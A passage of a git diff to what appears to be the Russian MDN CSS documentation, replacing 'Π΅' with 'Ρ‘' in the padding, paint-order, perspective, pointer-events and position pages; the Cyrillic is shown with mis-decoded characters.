<p>Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ отступ элСмСнта (Π°Π½Π³Π». "padding") - это пространство ΠΌΠ΅ΠΆΠ΄Ρƒ Π΅Π³ΠΎ содСрТимым ΠΈ Π΅Π³ΠΎΒ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ.</p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Бвойство {{cssxref ("padding")}} ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для установки Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… отступов Π½Π° всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… сторонах элСмСнта ΠΎΠ΄Π½ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Бвойство {{cssxref ("padding")}} ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для установки Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… отступов Π½Π° всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… сторонах элСмСнта ΠΎΠ΄Π½ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</p>
</div>
<h2 id="Syntax" name="Syntax"><font><font>Бинтаксис</font></font></h2>
diff --git a/files/ru/web/css/padding/index.html b/files/ru/web/css/padding/index.html
index 8ab7697255..d299d9dbf2 100644
--- a/files/ru/web/css/padding/index.html
+++ b/files/ru/web/css/padding/index.html
@@ -49,7 +49,7 @@ padding: unset;
</dl>
<ul>
- <li><strong>Одно</strong>Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ примСняСтся ΠΊΠΎ всСм Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ΠΌ сторонам</li>
+ <li><strong>Одно</strong>Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ примСняСтся ΠΊΠΎ всСм Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘ΠΌ сторонам</li>
<li><strong>Π”Π²Π°</strong> значСния ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ:Β <strong>1.</strong>Β <em>вСрхняя ΠΈ ниТняя</em>Β ΠΈ <strong>2.</strong>Β <em>лСвая ΠΈ правая</em> стороны</li>
<li><strong>Π’Ρ€ΠΈ</strong> значСния ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ:Β <strong>1.</strong> <em>вСрхняя</em>, <strong>2.</strong> <em>лСвая ΠΈ правая</em> ΠΈ <strong>3.</strong>Β <em>ниТняя</em> стороны</li>
<li><strong>Π§Π΅Ρ‚Ρ‹Ρ€Π΅</strong> значСния ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ<strong>:</strong> <strong>1.</strong> <em>вСрхняя</em>, <strong>2.</strong> <em>правая</em>, <strong>3.</strong> <em>ниТняя</em> ΠΈ <strong>4.</strong>Β <em>лСвая</em> стороны</li>
diff --git a/files/ru/web/css/paint-order/index.html b/files/ru/web/css/paint-order/index.html
index c2bcbbf9bf..36f95f78c2 100644
--- a/files/ru/web/css/paint-order/index.html
+++ b/files/ru/web/css/paint-order/index.html
@@ -27,7 +27,7 @@ paint-order: markers stroke fill; /* отрисовываСт ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹, Π·
<p>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ являСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ порядок  <code>fill</code>, <code>stroke</code>, <code>markers</code>.</p>
-<p>Когда ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ сначала отрисовываСтся ΠΎΠ½ΠΎ, Π·Π°Ρ‚Π΅ΠΌ Π΄Π²Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… Π² Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠΌ порядкС Π΄Ρ€ΡƒΠ³ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³Π°. Когда ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π΄Π²Π° значСния, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ отрисованы Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ порядкС, Π° Π·Π°Ρ‚Π΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ отрисовано Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Когда ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚ΠΎ сначала отрисовываСтся ΠΎΠ½ΠΎ, Π·Π°Ρ‚Π΅ΠΌ Π΄Π²Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… Π² Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠΌ порядкС Π΄Ρ€ΡƒΠ³ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄Ρ€ΡƒΠ³Π°. Когда ΡƒΠΊΠ°Π·Π°Π½ΠΎ Π΄Π²Π° значСния, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ отрисованы Π² ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ порядкС, Π° Π·Π°Ρ‚Π΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ отрисовано Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ этом случаС, ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ рисовании Ρ„ΠΎΡ€ΠΌ SVG. Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… использованиС свойств <code>marker-*</code>Β  (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code><a href="/en-US/docs/Web/SVG/Attribute/marker-start">marker-start</a></code>) ΠΈ элСмСнта <code><a href="/en-US/docs/Web/SVG/Element/marker">&lt;marker&gt;</a></code>. Они Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ ΠΊ тСксту HTML, Π² этом случаС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ порядок <code>stroke</code> ΠΈ <code>fill</code>.</p>
diff --git a/files/ru/web/css/perspective/index.html b/files/ru/web/css/perspective/index.html
index b0d1d14fc1..015f838b1e 100644
--- a/files/ru/web/css/perspective/index.html
+++ b/files/ru/web/css/perspective/index.html
@@ -13,7 +13,7 @@ translation_of: Web/CSS/perspective
<p><em><code>Π’ΠΎΡ‡ΠΊΠ° схоТдСния </code></em><code>ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ располоТСна Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ элСмСнта, Π½ΠΎ Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство </code>{{ cssxref("perspective-origin") }}.</p>
-<p>ΠŸΡ€ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠΈΒ Π΄Π°Π½Π½ΠΎΠ³ΠΎΒ ΡΠ²ΠΎΠΉΡΡ‚Π²Π°Β ΡΠΎ значСниями ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ 0 ΠΈΠ»ΠΈ none создаСтся Π½ΠΎΠ²Ρ‹ΠΉ <a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">stacking context</a>.</p>
+<p>ΠŸΡ€ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠΈΒ Π΄Π°Π½Π½ΠΎΠ³ΠΎΒ ΡΠ²ΠΎΠΉΡΡ‚Π²Π°Β ΡΠΎ значСниями ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ 0 ΠΈΠ»ΠΈ none создаётся Π½ΠΎΠ²Ρ‹ΠΉ <a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">stacking context</a>.</p>
<p>{{cssinfo}}</p>
diff --git a/files/ru/web/css/pointer-events/index.html b/files/ru/web/css/pointer-events/index.html
index 2c12b8b291..b6a95a4f4a 100644
--- a/files/ru/web/css/pointer-events/index.html
+++ b/files/ru/web/css/pointer-events/index.html
@@ -91,7 +91,7 @@ img {
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнт Π±Ρ‹Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ событий ΠΌΡ‹ΡˆΠΈ,  с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>pointer-events</code>Β Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий ΠΌΡ‹ΡˆΠΈ Π½Π° этом элСмСнтС Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ»ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ. Если Ρƒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Β Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов Π΅ΡΡ‚ΡŒ явныС <code>pointer-events,</code>Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ этому Ρ€Π΅Π±Π΅Π½ΠΊΡƒ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ событий ΠΌΡ‹ΡˆΠΈ, Ρ‚ΠΎΠ³Π΄Π° Π»ΡŽΠ±Ρ‹Π΅ события, Π½Π°Ρ†Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π½Π° этого Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта, Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· родитСля, ΠΊΠΎΠ³Π΄Π° событиС пСрСмСщаСтся вдоль Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ ΠΈ запускаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий Π½Π° Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, любая Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΌΡ‹ΡˆΠΈ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ Π½Π° экранС, которая покрываСтся Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ, Π½ΠΎ Π½Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ, Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΉΠΌΠ°Π½Π° Π½ΠΈ Ρ€Π΅Π±Π΅Π½ΠΊΠΎΠΌ, Π½ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ (ΠΎΠ½ ΠΏΡ€ΠΎΠΉΠ΄Π΅Ρ‚ Ρ‡Π΅Ρ€Π΅Π· Β«Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉΒ» Π½Π°Β Β«Ρ†Π΅Π»ΠΈΒ» ΠΏΠΎΠ΄ Π½ΠΈΠΌ).</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ элСмСнт Π±Ρ‹Π» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ событий ΠΌΡ‹ΡˆΠΈ,  с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>pointer-events</code>Β Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий ΠΌΡ‹ΡˆΠΈ Π½Π° этом элСмСнтС Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ»ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ. Если Ρƒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Β Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов Π΅ΡΡ‚ΡŒ явныС <code>pointer-events,</code>Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ этому Ρ€Π΅Π±Ρ‘Π½ΠΊΡƒ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ событий ΠΌΡ‹ΡˆΠΈ, Ρ‚ΠΎΠ³Π΄Π° Π»ΡŽΠ±Ρ‹Π΅ события, Π½Π°Ρ†Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π½Π° этого Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта, Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· родитСля, ΠΊΠΎΠ³Π΄Π° событиС пСрСмСщаСтся вдоль Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ ΠΈ запускаСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий Π½Π° Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, любая Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΌΡ‹ΡˆΠΈ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ Π½Π° экранС, которая покрываСтся Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ, Π½ΠΎ Π½Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ, Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΉΠΌΠ°Π½Π° Π½ΠΈ Ρ€Π΅Π±Ρ‘Π½ΠΊΠΎΠΌ, Π½ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΌ (ΠΎΠ½ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘Ρ‚ Ρ‡Π΅Ρ€Π΅Π· Β«Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉΒ» Π½Π°Β Β«Ρ†Π΅Π»ΠΈΒ» ΠΏΠΎΠ΄ Π½ΠΈΠΌ).</p>
<p>ΠœΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ½ΠΊΠΈΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ (Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <code>auto</code> ΠΈ <code>none</code>) Π² HTML, ΠΊΠΎΠ³Π΄Π° части элСмСнта смогут Β«ΠΏΠΎΠΉΠΌΠ°Ρ‚ΡŒΒ» события ΠΌΡ‹ΡˆΠΈ. Если Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Ρ‚ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π½Π°ΠΌ Π² Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈΒ ΠΊΠ°ΠΊ слСдуСт Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ <code>pointer-events</code> для HTML, ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с этим свойством, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΈΡ… Π² Ρ€Π°Π·Π΄Π΅Π» Β«Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ случаи» Π½Π° <a class="link-https" href="https://wiki.mozilla.org/SVG:pointer-events">этой страницС Π²ΠΈΠΊΠΈ</a>Β (Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ, ΠΌΡ‹ всё сохраним Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½ΠΎ).Β </p>
diff --git a/files/ru/web/css/position/index.html b/files/ru/web/css/position/index.html
index 3baa0548f0..fb6002c2fb 100644
--- a/files/ru/web/css/position/index.html
+++ b/files/ru/web/css/position/index.html
@@ -22,7 +22,7 @@ translation_of: Web/CSS/position
<li><strong>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ с Π»ΠΈΠΏΠΊΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠ΅ΠΉ</strong> β€” это элСмСнт, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ {{cssxref('computed_value', 'Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ вычислСнного')}} <code>position</code> являСтся <code>sticky</code>. Он рассматриваСтся ΠΊΠ°ΠΊ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° {{cssxref('Containing_Block', 'содСрТащий Π΅Π³ΠΎ Π±Π»ΠΎΠΊ')}} Π½Π΅ пСрСсСчёт ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΡ€ΠΎΠ³ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, установка {{cssxref('top')}} Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ <code>auto</code>) Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΅Π³ΠΎ корня ΠΏΠΎΡ‚ΠΎΠΊΠ° (ΠΈΠ»ΠΈ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ прокручиваСтся), послС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ обрабатываСтся ΠΊΠ°ΠΊ Β«Π·Π°ΡΡ‚Ρ€ΡΠ²ΡˆΠΈΠΉΒ» Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ встрСтит ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½Ρ‹ΠΉ ΠΊΡ€Π°ΠΉ {{cssxref('Containing_Block', 'содСрТащСго Π΅Π³ΠΎ Π±Π»ΠΎΠΊΠ°')}}.</li>
</ul>
-<p>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ {{cssxref('height')}} ΠΈ {{cssxref('width')}} установлСнныС Π² <code>auto</code>, ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΡ… содСрТимому. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π½Π΅Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅, Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнты ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΠΈΠ»ΠΈ доступноС Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ пространство, ΡƒΠΊΠ°Π·Π°Π² ΠΊΠ°ΠΊ {{cssxref('top')}}, Ρ‚Π°ΠΊ ΠΈ {{cssxref('bottom')}}, ΠΈ оставляя {{cssxref('height')}} Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ , <code>auto</code>). Ими Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ доступноС Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ пространство, ΡƒΠΊΠ°Π·Π°Π² ΠΊΠ°ΠΊ {{cssxref('left')}}, Ρ‚Π°ΠΊ ΠΈ {{cssxref('right')}}, ΠΈ оставляя {{cssxref('width')}} ΠΊΠ°ΠΊ <code>auto</code>.</p>
+<p>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ {{cssxref('height')}} ΠΈ {{cssxref('width')}} установлСнныС Π² <code>auto</code>, ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΈΡ… содСрТимому. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π½Π΅Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅, Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнты ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠΌΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΠΈΠ»ΠΈ доступноС Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ пространство, ΡƒΠΊΠ°Π·Π°Π² ΠΊΠ°ΠΊ {{cssxref('top')}}, Ρ‚Π°ΠΊ ΠΈ {{cssxref('bottom')}}, ΠΈ оставляя {{cssxref('height')}} Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ , <code>auto</code>). Ими Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ доступноС Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ пространство, ΡƒΠΊΠ°Π·Π°Π² ΠΊΠ°ΠΊ {{cssxref('left')}}, Ρ‚Π°ΠΊ ΠΈ {{cssxref('right')}}, ΠΈ оставляя {{cssxref('width')}} ΠΊΠ°ΠΊ <code>auto</code>.</p>
<p>Π—Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ описанного случая (Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… элСмСнтов, Π·Π°ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΡ… доступноС пространство):</p>
@@ -39,19 +39,19 @@ translation_of: Web/CSS/position
<dl>
<dt><code>static</code></dt>
